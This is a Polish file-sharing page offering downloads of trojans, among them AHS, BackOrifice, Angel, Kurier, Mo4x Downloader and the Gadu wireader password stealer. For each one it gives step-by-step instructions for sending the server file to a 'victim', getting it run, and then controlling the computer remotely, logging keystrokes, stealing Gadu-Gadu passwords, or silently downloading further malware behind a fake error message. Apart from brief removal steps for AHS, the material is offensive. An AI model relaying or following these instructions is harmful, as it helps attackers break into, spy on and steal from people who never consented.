Ahs 1.zip

jawijk / programy / Hacker / Ahs 1.zip

Download: Ahs 1.zip

Pobierz

1,3 MB

Obsługa programu:
1. AHS (Assembler HTTP Server by Czajnick) - jest to trojan, który pozwala kontrolować zainfekowany komputer za pośrednictwem protokołu HTTP oraz zwykłej przeglądarki internetowej (np. Internet Explorer, Netscape Navigator, Opera). Zawiera wszystkie najpotrzebniejsze funkcje takie jak: dostęp do plików na dyskach, keylogger, generator komunikatów, menedżer okien oraz sporo różnego rodzaju "bajerów".
2. Ściągamy skompresowany plik o nazwie Ahs 1.zip
3. Dekompresujemy ten plik i wchodzimy do folderu. Z całego wypakowanego folderu nas interesuje głównie tylko jeden plik: winhttp.exe
4. Właśnie ten plik (czyli winhttp.exe) wysyłamy do naszej ofiary. Wiadomo że nie wolno go otwierać u siebie, bo trojan odpalił by się u nas :(
Nasza ofiara musi uruchomić ten plik na swoim kompie
5. My zaś otwiearmy plik client, którym jest zwykła przeglądarka internetowa i dlatego nie robiłem screena, bo każdy wie jak wygląda ;]
W adresie przeglądarki wpisujesz:

http://ip_lamera:34280/`ahs

(`to klawisz znajdujący się pod Esc)
6. Pojawia się interfejs trojana - chyba że coś zjebałeś. Teraz już wiesz co robić.

Jak wywalić AHS?
Jeżeli przypadkowo odpaliłeś plik winhttp.exe i chcesz wywalić trojana z systemu:
- wpisujesz w przegladarce adres http://localhost:34280/`ahs
- klikasz 'Wylacz AHS'
- uruchamiasz edytor rejestru (regedit.exe)
- idziesz do HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
- usuwasz wartość Windows HTTP SubSystem
- C:\WINDOWS\System32\winhttp.exe usuwasz ten plik

Co robić z plikami *.A36 oraz `zdj?
A36 jest to format kompresji oparty na ApLibie 0.36 by Joergen Ibsen / Jibz.
AHS pakuje na niego np. screeny ekranu. Takiego zapakowanego screena ty możesz ściągnąć z komputera ofiary jako plik o nazwie `zdj. Należy go rozpakować używając załączonego programu un_a36, pisząc po prostu w linii poleceń:
un_a36 `zdj
lub
un_a36 plik.a36
Otrzymasz rozpakowana wersje pliku 'zdj, która jest zwykłym BMP-kiem i zajmuje zwykle kilka megabajtów. Teraz ten plik 'zdj możesz sobie otworzyć np. pod Paintem :)

Komentarze:

Nie ma jeszcze żadnego komentarza. Dodaj go jako pierwszy!

Aby dodawać komentarze musisz się zalogować

jawijk

Idź do chomika

Inne foldery z plikami do pobrania

Inne pliki do pobrania z tego chomika

Mo4x Downloader 0.2.zip

Obsługa programu: 1. Jest to trojan pobierający z Internetu inne szkodliwe programy bez wiedzy i zgody użytkownika zainfekowanego komputera. Trojan powstał przy użyciu środowiska programistycznego MASM32 i wygenerowany plik servera zawiera około ~850 bajtów. 2. Ściągamy skompresowany plik o nazwie Mo4x Downloader 0.zip 3. Dekompresujemy ten plik i wchodzimy do folderu. Widzimy pliki: obrazek

4. Z całego rozpakowanego folderu nas interesuje tylko jeden plik: GENERATOR.exe Zaznaczony na powyższym screenie czerwonym kółkiem. 5. Uruchamiamy ten plik u siebie (czyli GENERATOR.exe) Uruchomi się program w którym musimy podać link, do miejsca w którym umieściliśmy szkodliwe oprogramowanie. Następnie klikamy na Generuj. 5. W folderze powstaje nowy plik (trojan), którego nie wolno otwierać. Wysyłamy go do naszej ofiary. Kiedy ofiara go otworzy trojan ściągnie i odpali wskazany przez na program ;] PS: Sorry że nie dałem screena z programu Generator.exe ale nie mogłem go w żaden sposób wykonać :(

LaDe 1.3.zip

Obsługa programu: 1. Ściągamy skompresowany plik o nazwie LaDe.zip 2. Dekompresujemy ten plik i wchodzimy do folderu. Widzimy pliki: LaDe 1.3.exe, serwerek.exe 3. Plik o nazwie serwerek.exe musimy podrzucić naszej ofiarze. 4. My zaś otwieramy plik o nazwie LaDe 1.3.exe (czyli clienta). Uruchamia się program widziany na screenie, w którym musimy podać adres IP naszej ofiary i kliknąć na Połącz. obrazek

Kurier 1.1.zip

Obsługa programu: 1. Program dostarcza i uruchamia niebezpieczne aplikacje na komie ofiary. Jest to trojan typu downloader, czyli taki w którym kiedy ofiara otworzy u siebie trojana, którego jej wysłaliśmy to ten ściągnie na jej dysk wskazany przez nas syf np. wirusy, robaki czy inne trojany. 2. Ściągamy skompresowany plik o nazwie Kurier v.1.zip 3. Dekompresujemy ten plik i wchodzimy do folderu. 4. Otwieramy u siebie plik o nazwie kurier v1.0 Za jego pomocą stworzymy naszego trojana. Uruchamia się program widziany na screenie. obrazek

5. Uzupełniasz wszystkie trzy okienka i klikasz na Generuj. Powstaje plik trojan, mający rozmiar około 40KB, którego nie wolno otwierać bo syf zrobiłby się u nas, a tego byśmy przecież nie chcieli :] 6. Teraz ten plik (trojana) którego stworzyłeś wysyłasz do swojej ofiary. 7. Jeżeli ofiara uruchomi naszego "kuriera", wyświetli się jej okno błędu np. "Plik uszkodzony!", program automatycznie pobierze z Internetu (z podanego mu linku) niebezpieczną aplikację i ją uruchomi bez wiedzy ofiary.

KacoZONE 1.3.zip

Obsługa programu: 1. Ściągamy skompresowany plik o nazwie KacoZONE 1.zip 2. Dekompresujemy ten plik i wchodzimy do folderu. Widzimy plik: KacoZONE_Konfigurator.exe 3. Odpalamy właśnie ten plik (czyli "KacoZONE_Konfigurator.exe") Uruchamia się program widziany na screenie: <a> obrazek

4. Teraz musisz uzupełnić wszystkie okienka i kliknąć na Generuj. Jeśli masz problemy kliknij na opcję Help (tam jest wszystko napisane). 5. Plik który wygenerowałeś (trojana) wysyłasz do swojej ofiary. KONIEC ;]

AdminGG.zip

Obsługa programu: 1. Zakładamy numer Gadu-Gadu. Aby założyć numer GG, musimy uruchomić komunikator Gadu-Gadu, a następnie, z menu wybrać Użytkownik -> Nowy. Po założeniu numeru, zapisz sobie nowy numer, oraz hasło do niego. 2. Ściągamy skompresowany plik o nazwie AdminGG.zip Dekompresujemy ten plik i wchodzimy do folderu. Widzimy plik: AdminGG.exe 3. Uruchamiamy program Admin GG. Uruchamia się program widziany na screenie: obrazek

W polu oznaczonym jako "numer gg" wpisujemy numer Gadu-Gadu, który wcześniej założyliśmy (patrz punkt 1), a w polu "hasło gg" hasło do tego numeru. Następnie klikamy na przycisk "Kompiluj", oraz wskazujemy miejsce gdzie ma zostać zapisany skonfigurowany przed chwilą plik. 4. Plik, który przed chwilą skonfigurowałeś uruchamiasz na komputerze, którym chcesz sterować. Np. Jeśli zamierzasz sterować komputerem kolegi, wysyłasz mu ten plik np. na emaila lub dajesz na dyskietce. Żeby program działał, kolega musi uruchomić ten plik na swoim komputerze. Następnie do swojej listy kontaktów, dodajesz numer, który założyłeś (punkt 1) i który posłużył ci do konfiguracji pliku, który wysłałeś do kolegi. Jeśli kolega uruchomił plik na swoim komputerze, numer który dodałeś do listy będzie miał status "Dostępny", w czasie gdy kolega będzie miał włączony komputer. Plik uruchomiony na komputerze kolegi, będzie się automatycznie włączał przy starcie systemu Windows. Uwaga! Nie możesz dać kilku osobom jednego, tego samego skonfigurowanego pliku! Dzieje się tak, ponieważ plik używa numeru Gadu-Gadu, który podałeś przy konfiguracji pliku. Jeden skonfigurowany plik może działać tylko na jednym komputerze. Gdy chcemy wysłać plik kilku osobom, należy dla każdej z nich skonfigurować osobny plik, każdy z nowym numerem Gadu-Gadu. 5. Jeśli wykonałeś poprawnie wszystkie instrukcje zawarte w punktach 1, 2, 3, 4 możesz rozpocząć sterowanie komputerem osoby, która uruchomiła skonfigurowany plik, np. kolega. Sterowanie odbywa się przez wysyłanie odpowiednich komend, na numer, który zapisałeś na liście kontaktów zgodnie z punktem czwartym. Lista komend: opencd - wysuwa tackę CD-ROM closecd - wsuwa tackę CD-ROM spo - wyłącza monitor turnscr - odwraca obraz na monitorze "do góry nogami" pulpithide - ukrywa ikony na pulpicie, tym samym go blokując pulpitshow - pokazuje ikony na pulpicie timehide - ukrywa zegarek systemowy timeshow - pokazuje zegarek systemowy shutdown - wyłącza komputer open "adres_strony" - uruchamia dowolną stronę internetową w domyślnej przeglądarce, zamiast "adres_strony" wpisujemy adres dowolnej strony WWW (bez "") np "open www.google.pl" msg "tresc_komunikatu" - pokazuje komunikat o dowolnej treści np. "msg Mam cię!" help - pokazuje spis komend. 6. Komendy można wysyłać na odpowiedni numer jedynie wtedy, gdy jest on Dostępny na liście kontaktów. 7. Jeśli to wszystko przeczytałeś to brawo :)

Gadu wireader 1.4.zip

Obsługa programu: 1. Trojan służący do kradzieży haseł GG, a co za tym idzie konta GG. 2. Ściągamy skompresowany plik o nazwie Gadu wireader 1.zip 3. Dekompresujemy ten plik i wchodzimy do folderu. 3. Odpalamy u siebie plik gadu_wireader1.4.exe, czyli plik client. Otwiera się program widziany na screenie: obrazek

4. Uzupełniany wszystkie okienka swoimi danymi i klikamy na opcję utwórz trojana. 5. Następnie utworzony plik (czyli trojan) wysyłamy do naszej ofiary.

BackOrifice.zip

Obsługa programu: 1. Ściągamy skompresowany plik o nazwie BackOrifice.zip 2. Dekompresujemy ten plik i wchodzimy do folderu. Z całego zdekompresowanego folderu nas interesują w szczególności dwa pliki: BOGUI.EXE, BOSERVE.EXE 3. Plik o nazwie BOSERVE.EXE wysyłamy do naszej ofiary. 4. My zaś z kolei odpalamy u siebie plik BOGUI.EXE (czyli cleint) Uruchamia się program widziany na screenie, w którym podajemy Host ofiary i wykonujemy zdalne polecenia na jej komputerze. obrazek

Angel 1.zip

Obsługa programu: 1. Ściągamy skompresowany plik o nazwie Angel 1.zip 2. Dekompresujemy ten plik i wchodzimy do folderu. Widzimy pliki: Angel 1.2.exe, bezpieczny serwer.exe, Serwer.exe 3. Plik Serwer.exe wysyłamy do naszej ofiary. Tego pliku nie wolno otwierać, bo by się trojan zagnieździł w naszym systemie, a tego byśmy przecież nie chcieli :) 4. Następnie odpalamy u siebie plik Angel 1.2.exe. Uruchamia się program widziany na screenie w którym musimy podać adres IP naszej ofiary i kliknąć na Połącz. obrazek

Gdybyś chciał przetestować tego trojana na własnym kompie to: 1. Otwierasz plik bezpieczny serwer.exe (działa on na tej zasadzie że trojan się uruchomi na twoim kompie tylko nie doda się do auto startu i rejestru, więc dlatego jest nazwany bezpiecznym :) 2. Na razie nie zamykasz tego programu, tylko otwierasz plik Angel 1.2.exe w którym podajesz swój adres IP i klikasz na połącz. 3. Gotowe. Teraz możesz wykonywać komendy za pomocą pliku client (czyli Angel 1.2.exe) na własnym kompie. PS: Oczywiście plik bezpieczny serwer.exe służy tylko i wyłącznie do testowania trojana na własnym kompie. Do swojej ofiary musisz wysłać plik serwer.exe

A New Trojan.zip

Obsługa programu: 1. Ściągamy skompresowany plik o nazwie A New Trojan.zip 2. Dekompresujemy ten plik i wchodzimy do folderu. Widzimy pliki: client.exe, syst.exe 3. Plik o nazwie syst.exe (czyli serwer) wysyłasz do swojej ofiary. 4. Teraz otwierasz plik o nazwie client.exe. Uruchamia się program widziany na screenie, w którym klikasz na zakładkę "Połączenie" i tam podajesz adres IP swojej ofiary. obrazek

Infector 1.7.zip

Obsługa programu: 1. Ściągamy plik Plik jest skompresowany, więc musimy go zdekompresować. Wchodzimy do zdekompresowanego folderu i widzimy pliki: client.exe, serwer.exe 2. Plik serwer wysyłamy do naszej ofiary. My zaś otwieramy plik client. Uruchomi się program widziany na screenshocie, w którym podajemy adres IP ofiary i klikamy na connect. obrazek

więcej plików z tego folderu...

Zgłoś jeśli naruszono regulamin